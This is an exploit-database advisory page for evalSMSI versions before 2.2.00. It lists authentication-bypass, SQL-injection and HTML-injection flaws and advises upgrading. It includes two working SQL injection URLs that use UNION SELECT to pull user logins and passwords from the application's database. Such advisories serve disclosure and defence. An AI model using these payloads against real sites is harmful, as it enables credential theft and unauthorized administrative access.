header-logo
Suggest Exploit
vendor:
evalSMSI
by:
7.5
CVSS
HIGH
Authentication bypass, SQL Injection, HTML Injection
CWE
Product Name: evalSMSI
Affected Version From:
Affected Version To: evalSMSI 2.2.00
Patch Exists: YES
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Multiple vulnerabilities in evalSMSI

Attackers can gain administrative access, execute arbitrary script code in the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Upgrade to evalSMSI 2.2.00 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/38116/info

evalSMSI is prone to multiple vulnerabilities, including an authentication-bypass issue, an SQL-Injection issue, and an HTML-Injection issue.

Attackers can exploit these issues to gain administrative access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Versions prior to evalSMSI 2.2.00 are vulnerable. 

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22